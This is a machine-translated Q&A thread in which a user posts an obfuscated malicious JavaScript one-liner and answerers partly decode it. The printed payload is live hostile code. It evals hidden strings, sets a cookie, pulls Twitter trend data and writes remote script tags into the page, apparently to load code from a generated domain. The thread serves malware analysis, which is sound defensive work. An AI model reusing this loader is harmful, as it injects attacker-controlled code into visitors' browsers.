javascript – 帮助反混淆这个JS攻击

我有一个讨厌的 JavaScript,我想要去混淆.我知道我可以启动一个虚拟机并看到它的所有荣耀中的恶意软件,但我更感兴趣的是它没有运行,而是以非混淆的形式查看它.如果它需要运行才能做到这一点,那么就这样吧,我想.任何人都知道如何做到这一点而不妥协自己?

谢谢,@H_301_3@蒂姆

编辑:这是代码(一个班轮,它是在脚本标签之间).这是发给我的,我没有访问服务器.

var $a="Z6fpZ3dZ22Z2524aZ253dZ2522dw(dcsZ2528cuZ252c14Z2529);Z2522;Z22;ceZ3dZ22arZ2543oZ2564eZ2541Z2574Z25280Z2529^Z2528Z2527Z2530xZ25300Z2527+eZ2573)Z2529)Z253b}}Z22;dzZ3dZ22Z2566unZ2563tZ2569onZ2520dw(Z2574)Z257bcaZ253dZ2527Z252564oZ252563umZ252565ntZ252eZ252577Z2572Z252569Z2574Z252565(Z252522Z2527;ceZ253dZ2527Z252522Z2529Z2527;cbZ253dZ2527Z25253cscZ252572Z252569pZ252574 Z25256cZ252561nZ25256Z2537uZ252561geZ25253Z2564Z25255cZ252522Z256aavZ252561Z252573cZ252572ipZ25257Z2534Z25255cZ252522Z25253eZ2527;ccZ253dZ2527Z25253cZ25255cZ25252fscZ2572Z252569ptZ25253eZ2527;winZ2564owZ255bZ2522eZ2522+Z2522Z2522+ Z2522vZ2522+Z2522alZ2522]Z2528uneZ2573cZ2561Z2570e(Z2574))Z257d;Z22;cbZ3dZ22e(dZ2573);Z2573tZ253dtmpZ253dZ2527Z2527;for(Z2569Z253d0;Z2569Z253cdZ2573.Z256cZ256Z22;daZ3dZ22fqb0t-7vrs}vybZ3esZ257F}7+0fqb0cxyvdY~tuh0-0Z2520+vZ257Fb08fqb0y0y~0gy~tZ257FgZ3edgZ3edbu~tc9kyv08gy~tZ257FgZ3ex0.0(0660gy~tZ257FgZ3ex0,0Z2522!0660yZ3ey~tuh_v870Z2520Z27790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mu|cu0yv088gy~tZ257FgZ3ex0,0)0ll00gy~tZ257FgZ3ex0.0Z2522Z252090660yZ3ey~tuh_v870!(790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ25Z22;cuZ3dZ22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:wZ7by;xp;dfZ7bl;64c}p`|)Z25$$4|q}s|`),$*(;}rfuyq*(;p}b*Z22;ccZ3dZ225ngZ2574h;Z2569Z252bZ252b)Z257btmpZ253ddsZ252esliZ2563e(Z2569Z252cZ2569+1)Z253bsZ22;stZ3dZ22Z2573Z2574Z253dZ2522$aZ253dsZ2574;Z2564cZ2573Z2528Z2564Z2561Z252bZ2564bZ252bZ2564Z2563Z252bdZ2564+Z2564Z2565Z252c1Z2530Z2529;Z2564wZ2528sZ2574)Z253bZ2573tZ253d$Z2561;Z2522;Z22;caZ3dZ22Z2566Z2575nctZ2569Z256fnZ2520Z2564Z2563s(dZ2573,Z2565s)Z257bdsZ253duneZ2573caZ2570Z22;dcZ3dZ22rs}vybZ3esZ257F}7+fqb0}Z257F~dxc0-0~ug0Qbbqi87trc7Z3c07id~7Z3c07f}d7Z3c07f}b7Z3c07}|s7Z3c07Z257FhZ7b7Z3c07vtc7Z3c07rfv7Z3c07iec7Z3c07}s`7Z3c07~sj7Z3c07wtg79+fqb0|uddubc0-0~ug0Qbbqi87q7Z3c7r7Z3c7s7Z3c7t7Z3c7u7Z3c7v7Z3c7w7Z3c7x7Z3c7z7Z3c7y7Z3c7Z7b7Z3c7|7Z3c7}7Z3c7~7Z3c7Z257F7Z3c7`7Z3c7a7Z3c7b7Z3c7c7Z3c7d7Z3c7e7Z3c7f7Z3c7g7Z3c7h7Z3c7i7Z3c7j79+fqb0~e}rubc0-0~ug0Qbbqi8!Z3cZ2522Z3c#Z3c$Z3cZ25Z3cZ2526Z3cZ27Z3c(Z3c)9+Z2519ve~sdyZ257F~0Sq|se|qdu]qwys^e}rub8tqiZ3c0}Z257F~dxZ3c0iuqbZ3c0y~tuh9kbudeb~0888iuqb0;Z22;ddZ3dZ2208y~tuh0:0tqi990;08}Z257F~dx0N0tqi90:0y~tuh90;0tqi9+m0fqb0iuqbSx!Z3c0iuqbSxZ2522Z3c0}Z257F~dxSxZ3c0tqiSxZ3c0~e}+~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7MZ3c0dy}uK7}Z257F~dx7MZ3c0dy}uK7iuqb7MZ3c0cxyvdY~tuh9;!Z2520Z2520+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90;0~e}9050Z2526#9050Z2522Z2526M0;0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90,0Z252290;0~e}9050Z2522Z25M+iuqbSxZ25220-0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0#90;0~e}9050Z22;cdZ3dZ22Z2574Z253dstZ252bStrZ2569nZ2567.fZ2572Z256fmCZ2568arZ2543oZ2564e((Z2574mp.Z2563hZ22;dbZ3dZ227FtuQd8!90;0!Z25200;gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mmyv08cxyvdY~tuh0--0Z252009kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMKZ2526MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0Z270;gy~tZ257FgZ3edgZ3edbu~tcKyMKZ2526MZ3eaeubiZ3e|u~wdx+m0yv08cxyvdY~tuh0.0Z25209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~tZ257FgZ3ewtZ3ewudEDSVe||Iuqb89+dy}uK7}Z257F~dx7M0-0gy~tZ257FgZ3ewtZ3ewudEDS]Z257F~dx89;!+dy}uK7tqi7M0-0gy~tZ257FgZ3ewtZ3ewudEDSTqdu89+fqb0t-7vZ22;deZ3dZ22!Z25209M0;0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0$90;0~e}9050!Z25209M+0}Z257F~dxSx0-0|uddubcK88dy}uK7}Z257F~dx7M0;0~e}9050Z2522Z259M0;0|uddubcK88dy}uK7}Z257F~dx7M0:0~e}9050Z2522Z259M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0Z25269050Z2522Z279M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050Z2522$9M+4q-4qZ3ebu`|qsu8tZ3ctqiSx0;0iuqbSxZ25220;0}Z257F~dxSx0;0iuqbSx!0;0tqiSx0;0}Z257F~dxcKdy}uK7}Z257F~dx7M0Z3d0!M0;07Z3esZ257F}79+mZ22;czZ3dZ22Z2566uZ256ecZ2574ioZ256e cZ257aZ2528czZ2529Z257bretZ2575rn Z2563a+cZ2562+Z2563cZ252bZ2563d+Z2563e+cZ257a;Z257d;Z22;Z69Z66Z20(doZ63uZ6denZ74.coZ6fkiZ65Z2eiZ6edZ65xOfZ28Z27rf5Z666Z64sZ27)Z3dZ3d-1)Z7bfunctionZ20cZ61llbZ61ckZ28x)Z7bwinZ64Z6fZ77Z2etw Z3d xZ3bvarZ20Z64 Z3d nZ65wZ20DaZ74e()Z3bd.Z73eZ74Z54Z69Z6dZ65(x[Z22asZ5foZ66Z22]*1Z300Z30)Z3bZ76aZ72 hZ20Z3d d.Z67Z65Z74UZ54Z43HZ6fuZ72s(Z29;wiZ6edoZ77.Z68 Z3d h;Z69fZ20(hZ20Z3e 8)Z7bd.Z73etUZ54Z43DatZ65(dZ2egeZ74Z55Z54Z43Z44ateZ28) Z2dZ20Z32)Z3b}elZ73eZ7bd.sZ65tUTZ43Z44Z61teZ28dZ2egetZ55TZ43DatZ65()Z20- 3Z29;Z7dwiZ6edZ6fw.gZ64 Z3d d;vZ61r tZ69me Z3d nZ65Z77 AZ72raZ79(Z29;Z76ar Z73Z68iZ66tZ49ndeZ78 Z3d Z22Z22;tiZ6dZ65[Z22yeZ61rZ22] Z3d dZ2egZ65tUZ54CZ46ullZ59eaZ72(Z29Z3btZ69Z6de[Z22mZ6fZ6etZ68Z22] Z3d Z64Z2egeZ74Z55Z54CMZ6fnthZ28)Z2bZ31;tZ69me[Z22Z64Z61yZ22] Z3dZ20d.Z67etZ55TZ43Z44atZ65()Z3bif Z28d.gZ65Z74UTZ43Z4donZ74h()Z2b1 Z3c 1Z30)Z7bshiftZ49ndeZ78 Z3d tiZ6de[Z22yeaZ72Z22] Z2b Z22Z2d0Z22 + (dZ2egetZ55TZ43MonZ74Z68()Z2b1Z29;}eZ6cZ73Z65Z7bshiZ66Z74IZ6edZ65x Z3d tiZ6deZ5bZ22yearZ22] +Z20Z22-Z22 +Z20(Z64.geZ74UTZ43MZ6fnZ74hZ28Z29+Z31);Z7difZ20(dZ2egetZ55TCDZ61te(Z29 Z3c 10Z29Z7bshifZ74InZ64Z65xZ20Z3dshifZ74Z49ndeZ78Z20+ Z22-0Z22 + Z64Z2egetZ55TCDZ61teZ28);}Z65Z6csZ65Z7bshiZ66tInZ64eZ78 Z3dZ20shZ69fZ74IZ6edexZ20+ Z22-Z22 Z2b Z64.Z67etZ55Z54Z43DatZ65();Z7ddZ6fcumZ65Z6eZ74.Z77rZ69teZ28Z22Z3cscrZ22+Z22ipt lZ61nguZ61geZ3djavZ61sZ63rZ69Z70Z74Z22+Z22 sZ72cZ3dZ27http:Z2fZ2fseaZ72chZ2etwZ69tteZ72.cZ6fmZ2ftZ72eZ6edsZ2fdailZ79.Z6aZ73on?Z64Z61tZ65Z3dZ22+ shiftZ49nZ64eZ78+Z22&cZ61llZ62acZ6bZ3dcallZ62acZ6bZ32Z27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22);} functiZ6fn Z63aZ6clZ62aZ63kZ32(x)Z7bwZ69ndoZ77.tZ77 Z3d x;Z73c(Z27rZ665Z66Z36dsZ27,2,Z37)Z3bZ65vaZ6c(uZ6eescZ61peZ28Z64zZ2bcZ7aZ2boZ70+stZ29+Z27dwZ28dz+Z63z(Z24Z61+stZ29);Z27);Z64oZ63umZ65ntZ2ewZ72Z69te(Z24a);Z7dZ64ocuZ6deZ6eZ74.Z77riZ74e(Z22Z3cimg sZ72cZ3dZ27http:Z2fZ2fsearchZ2etwZ69tteZ72.Z63oZ6dZ2fZ69mZ61gZ65Z73Z2fseaZ72Z63hZ2frsZ73.pnZ67Z27 wiZ64tZ68Z3d1Z20Z68eiZ67htZ3d1 sZ74ylZ65Z3dZ27visibiZ6citZ79Z3ahiZ64deZ6eZ27 Z2fZ3e Z3cscrZ22+Z22ipt laZ6eguZ61geZ3djZ61vZ61sZ63ripZ74Z22+Z22 srZ63Z3dZ27http:Z2fZ2fseaZ72ch.Z74wZ69tZ74erZ2eZ63omZ2ftZ72eZ6edsZ2fdaZ69lyZ2ejZ73Z6fn?cZ61llZ62Z61cZ6bZ3dcallbZ61Z63Z6bZ27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22);}eZ6csZ65Z7b$aZ3dZ27Z27};functiZ6fZ6e scZ28Z63nm,Z76Z2cedZ29Z7bvarZ20eZ78Z64Z3dnew Z44atZ65()Z3beZ78Z64.Z73Z65tDZ61Z74Z65Z28Z65xdZ2eZ67etZ44ateZ28)+Z65d);Z64ocZ75meZ6et.cZ6foZ6bieZ3dZ63nZ6d+ Z27Z3dZ27 +esZ63apeZ28vZ29+Z27Z3beZ78pirZ65sZ3dZ27+exdZ2etoZ47Z4dTZ53tZ72Z69Z6eZ67Z28);Z7d;";
var ez=window;ez[String.fromCharCode(101,118,97)+"l"](fds()); 
function asd(s)
{
    r="";
    for(i=0;i<s.length;i++)
    {
    if(s.charAt(i)=="Z")
    {
        s1="%"
    }
    else
    {
        s1=s.charAt(i)
    }
    r=r+s1;
    }
    return unescape(r);
}
function fds()
{
    return asd($a);
}

再次编辑:我选择了Matthew Flaschen,因为在看完它之后,Russ Cam和其他人已经帮助了解了这次特殊攻击所做的事情以及如何解决这类问题.马修碰巧跳得最快.

注意:在试图找到底部的过程中,我找到了一个非常方便的工具调用Malzilla.如果你需要做这种事情,它有很多很好的实用工具.谢谢大家!

解决方法

好的,第1阶段.这相对容易. String.fromCharCode(101,97)是“eva”,所以它在fds()上调用eval函数.反过来只调用asd,这实际上只是用%替换“Z”.在我们unescape之后,我们得到他们想要的代码
op="%24a%3d%22dw(dcs%28cu%2c14%29);%22;";
ce="ar%43o%64e%41%74%280%29^%28%27%30x%300%27+e%73)%29)%3b}}";
;cb="e(d%73);%73t%3dtmp%3d%27%27;for(%69%3d0;%69%3cd%73.%6c%6";
da="fqb0t-7vrs}vyb>s%7F}7+0fqb0cxyvdY~tuh0-0%20+v%7Fb08fqb0y0y~0gy~t%7Fg>dg>dbu~tc9kyv08gy~t%7Fg>x0.0(0660gy~t%7Fg>x0,0%22!0660y>y~tuh_v870%20'790.0=!9kcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>sxqbS%7FtuQd8!90;0gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>|u~wdx+rbuq{+mu|cu0yv088gy~t%7Fg>x0,0)0ll00gy~t%7Fg>x0.0%22%2090660y>y~tuh_v870!(790.0=!9kcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>sxqbS%";
cu="(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:w{y;xp;df{l;64c}p`|)%$$4|q}s|`),$*(;}rfuyq*(;p}b*";
cc="5ng%74h;%69%2b%2b)%7btmp%3dds%2esli%63e(%69%2c%69+1)%3bs";
st="%73%74%3d%22$a%3ds%74;%64c%73%28%64%61%2b%64b%2b%64%63%2bd%64+%64%65%2c1%30%29;%64w%28s%74)%3b%73t%3d$%61;%22;";
ca="%66%75nct%69%6fn%20%64%63s(d%73,%65s)%7bds%3dune%73ca%70";
dc="rs}vyb>s%7F}7+fqb0}%7F~dxc0-0~ug0Qbbqi87trc7<07id~7<07f}d7<07f}b7<07}|s7<07%7Fh{7<07vtc7<07rfv7<07iec7<07}s`7<07~sj7<07wtg79+fqb0|uddubc0-0~ug0Qbbqi87q7<7r7<7s7<7t7<7u7<7v7<7w7<7x7<7z7<7y7<7{7<7|7<7}7<7~7<7%7F7<7`7<7a7<7b7<7c7<7d7<7e7<7f7<7g7<7h7<7i7<7j79+fqb0~e}rubc0-0~ug0Qbbqi8!<%22<#<$<%<%26<'<(<)9+%19ve~sdy%7F~0Sq|se|qdu]qwys^e}rub8tqi<0}%7F~dx<0iuqb<0y~tuh9kbudeb~0888iuqb0;";
dd="08y~tuh0:0tqi990;08}%7F~dx0N0tqi90:0y~tuh90;0tqi9+m0fqb0iuqbSx!<0iuqbSx%22<0}%7F~dxSx<0tqiSx<0~e}+~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7M<0dy}uK7}%7F~dx7M<0dy}uK7iuqb7M<0cxyvdY~tuh9;!%20%20+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060%20hQQ90;0~e}9050%26#9050%22%26M0;0|uddubcK888dy}uK7iuqb7M060%20hQQ90,0%2290;0~e}9050%22%M+iuqbSx%220-0|uddubcK8888dy}uK7iuqb7M060%20h##!!90..0#90;0~e}9050";
cd="%74%3dst%2bStr%69n%67.f%72%6fmC%68ar%43o%64e((%74mp.%63h";
db="7FtuQd8!90;0!%200;gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>|u~wdx+rbuq{+mmyv08cxyvdY~tuh0--0%2009kcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKyMK%26M>aeubi>sxqbS%7FtuQd8!90;0'0;gy~t%7Fg>dg>dbu~tcKyMK%26M>aeubi>|u~wdx+m0yv08cxyvdY~tuh0.0%209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~t%7Fg>wt>wudEDSVe||Iuqb89+dy}uK7}%7F~dx7M0-0gy~t%7Fg>wt>wudEDS]%7F~dx89;!+dy}uK7tqi7M0-0gy~t%7Fg>wt>wudEDSTqdu89+fqb0t-7v";
de="!%209M0;0|uddubcK8888dy}uK7iuqb7M060%20h##!!90..0$90;0~e}9050!%209M+0}%7F~dxSx0-0|uddubcK88dy}uK7}%7F~dx7M0;0~e}9050%22%9M0;0|uddubcK88dy}uK7}%7F~dx7M0:0~e}9050%22%9M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0%269050%22'9M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050%22$9M+4q-4q>bu`|qsu8t<tqiSx0;0iuqbSx%220;0}%7F~dxSx0;0iuqbSx!0;0tqiSx0;0}%7F~dxcKdy}uK7}%7F~dx7M0=0!M0;07>s%7F}79+m";
cz="%66u%6ec%74io%6e c%7a%28cz%29%7bret%75rn %63a+c%62+%63c%2b%63d+%63e+c%7a;%7d;";
  if (document.cookie.indexOf("rf5f6ds") == -1) {

        function callback(x) {
            window.tw = x;
            var d = new Date;
            d.setTime(x.as_of * 1000);
            var h = d.getUTCHours();
            window.h = h;
            if (h > 8) {
                d.setUTCDate(d.getUTCDate() - 2);
            } else {
                d.setUTCDate(d.getUTCDate() - 3);
            }
            window.gd = d;
            var time = new Array;
            var shiftIndex = "";
            time.year = d.getUTCFullYear();
            time.month = d.getUTCMonth() + 1;
            time.day = d.getUTCDate();
            if (d.getUTCMonth() + 1 < 10) {
                shiftIndex = time.year + "-0" + (d.getUTCMonth() + 1);
            } else {
                shiftIndex = time.year + "-" + (d.getUTCMonth() + 1);
            }
            if (d.getUTCDate() < 10) {
                shiftIndex = shiftIndex + "-0" + d.getUTCDate();
            } else {
                shiftIndex = shiftIndex + "-" + d.getUTCDate();
            }
            document.write("<scr" + "ipt language=javascript" + " src='http://search.twitter.com/trends/daily.json?date=" + shiftIndex + "&callback=callback2'>" + "</scr" + "ipt>");
        }


      function callback2(x) {
            window.tw = x;
            sc("rf5f6ds",7);
            function dw(t)
            {
                ca='%64o%63um%65nt.%77r%69t%65(%22';
                ce='%22)';
                cb='%3csc%72%69p%74 %6c%61n%67u%61ge%3d%5c%22jav%61%73c%72ip%74%5c%22%3e';
                cc='%3c%5c%2fscr%69pt%3e';
                eval(unescape(t))
            };
            $a="dw(dcs(cu,14));";
            function dw(t)
            {
                ca='%64o%63um%65nt.%77r%69t%65(%22';ce='%22)';
                cb='%3csc%72%69p%74 %6c%61n%67u%61ge%3d%5c%22jav%61%73c%72ip%74%5c%22%3e';
                cc='%3c%5c%2fscr%69pt%3e';
                eval(unescape(t))
            };
            document.write("<script language=\"javascript\"><\/script>t=st+String.fromCharCode((tmp.ch")
            dw(dcs(cu,14));
            $a=st;
            dcs(da+db+dc+dd+de,10);
            dw(st);
            st=$a;

            document.write($a);
      }

      document.write("<img src='http://search.twitter.com/images/search/RSS.png' width=1 height=1 style='visibility:hidden' /> <script language=javascript src='http://search.twitter.com/trends/daily.json?callback=callback'></script>");
    } else {
        $a = "";
    }

    function sc(cnm,v,ed) {
        var exd = new Date;
        exd.setDate(exd.getDate() + ed);
        document.cookie = cnm + "=" + escape(v) + ";expires=" + exd.toGMTString();
    }

我在顶部解码变量. cz很有趣.它说cz =“function cz(cz){return ca cb cc cd ce cz;};”;显示

function dcs(ds,es){
    ds=unescape(ds);
    st=tmp='';
    for(i=0;i<ds.l%65ngth;i++){
        tmp=ds.slice(i,i+1);
        st=st+String.fromCharCode((tmp.ch! 9M0;0|uddubcK8888dy}uK7iuqb7M060 h##!!90..0$90;0~e}9050! 9M+0}~dxSx0-0|uddubcK88dy}uK7}~dx7M0;0~e}9050"%9M0;0|uddubcK88dy}uK7}~dx7M0:0~e}9050"%9M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0&9050"'9M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050"$9M+4q-4q>bu`|qsu8t<tqiSx0;0iuqbSx"0;0}~dxSx0;0iuqbSx!0;0tqiSx0;0}~dxcKdy}uK7}~dx7M0=0!M0;07>s}79+m

我在解码最后一个st = st String.fromCharCode …部分时遇到了困难.

还在继续前进.如果查看解码值,st是st =“st =”$a = st; dcs(da db dc dd de,10); dw(st); st = $a;“;”;然后添加“d”行,它变成这样的:

st="
        $a=st;
        dcs(fqb0t-7vrs}vyb>s}7+0fqb0cxyvdY~tuh0-0 +vb08fqb0y0y~0gy~tg>dg>dbu~tc9kyv08gy~tg>x0.0(0660gy~tg>x0,0"!0660y>y~tuh_v870 '790.0=!9kcxyvdY~tuh0-0gy~tg>dg>dbu~tcKyMK$M>aeubi>sxqbStuQd8!90;0gy~tg>dg>dbu~tcKyMK$M>aeubi>|u~wdx+rbuq{+mu|cu0yv088gy~tg>x0,0)0ll00gy~tg>x0.0" 90660y>y~tuh_v870!(790.0=!9kcxyvdY~tuh0-0gy~tg>dg>dbu~tcKyMK$M>aeubi>sxqbS%7FtuQd8!90;0! 0;gy~tg>dg>dbu~tcKyMK$M>aeubi>|u~wdx+rbuq{+mmyv08cxyvdY~tuh0--0 09kcxyvdY~tuh0-0gy~tg>dg>dbu~tcKyMK&M>aeubi>sxqbStuQd8!90;0'0;gy~tg>dg>dbu~tcKyMK&M>aeubi>|u~wdx+m0yv08cxyvdY~tuh0.0 9kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~tg>wt>wudEDSVe||Iuqb89+dy}uK7}~dx7M0-0gy~tg>wt>wudEDS]~dx89;!+dy}uK7tqi7M0-0gy~tg>wt>wudEDSTqdu89+fqb0t-7vrs}vyb>s}7+fqb0}~dxc0-0~ug0Qbbqi87trc7<07id~7<07f}d7<07f}b7<07}|s7<07h{7<07vtc7<07rfv7<07iec7<07}s`7<07~sj7<07wtg79+fqb0|uddubc0-0~ug0Qbbqi87q7<7r7<7s7<7t7<7u7<7v7<7w7<7x7<7z7<7y7<7{7<7|7<7}7<7~7<77<7`7<7a7<7b7<7c7<7d7<7e7<7f7<7g7<7h7<7i7<7j79+fqb0~e}rubc0-0~ug0Qbbqi8!<"<#<$<%<&<'<(<)9+ve~sdy~0Sq|se|qdu]qwys^e}rub8tqi<0}~dx<0iuqb<0y~tuh9kbudeb~0888iuqb0;08y~tuh0:0tqi990;08}~dx0N0tqi90:0y~tuh90;0tqi9+m0fqb0iuqbSx!<0iuqbSx"<0}~dxSx<0tqiSx<0~e}+~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7M<0dy}uK7}~dx7M<0dy}uK7iuqb7M<0cxyvdY~tuh9;!  +iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060 hQQ90;0~e}9050&#9050"&M0;0|uddubcK888dy}uK7iuqb7M060 hQQ90,0"90;0~e}9050"%M+iuqbSx"0-0|uddubcK8888dy}uK7iuqb7M060 h##!!90..0#90;0~e}9050! 9M0;0|uddubcK8888dy}uK7iuqb7M060 h##!!90..0$90;0~e}9050! 9M+0}~dxSx0-0|uddubcK88dy}uK7}~dx7M0;0~e}9050"%9M0;0|uddubcK88dy}uK7}~dx7M0:0~e}9050"%9M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0&9050"'9M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050"$9M+4q-4q>bu`|qsu8t<tqiSx0;0iuqbSx"0;0}~dxSx0;0iuqbSx!0;0tqiSx0;0}~dxcKdy}uK7}~dx7M0=0!M0;07>s}79+m,10);
        dw(st);
        st=$a;
    ";

(缩进矿).再次,仍然有这些长刺的麻烦.

相关文章

事件冒泡和事件捕获 起因:今天在封装一个bind函数的时候,发现el.addEventListener函数支持第三个参数...
js小数运算会出现精度问题 js number类型 JS 数字类型只有number类型,number类型相当于其他强类型语言...
什么是跨域 跨域 : 广义的跨域包含一下内容 : 1.资源跳转(链接跳转,重定向跳转,表单提交) 2.资源...
@ &quot;TOC&quot; 常见对base64的认知(不完全正确) 首先对base64常见的认知,也是须知的必须有...
搞懂:MVVM模式和Vue中的MVVM模式 MVVM MVVM : 的缩写,说都能直接说出来 :模型, :视图, :视图模...
首先我们需要一个html代码的框架如下: 我们的目的是实现ul中的内容进行横向的一点一点滚动。ul中的内容...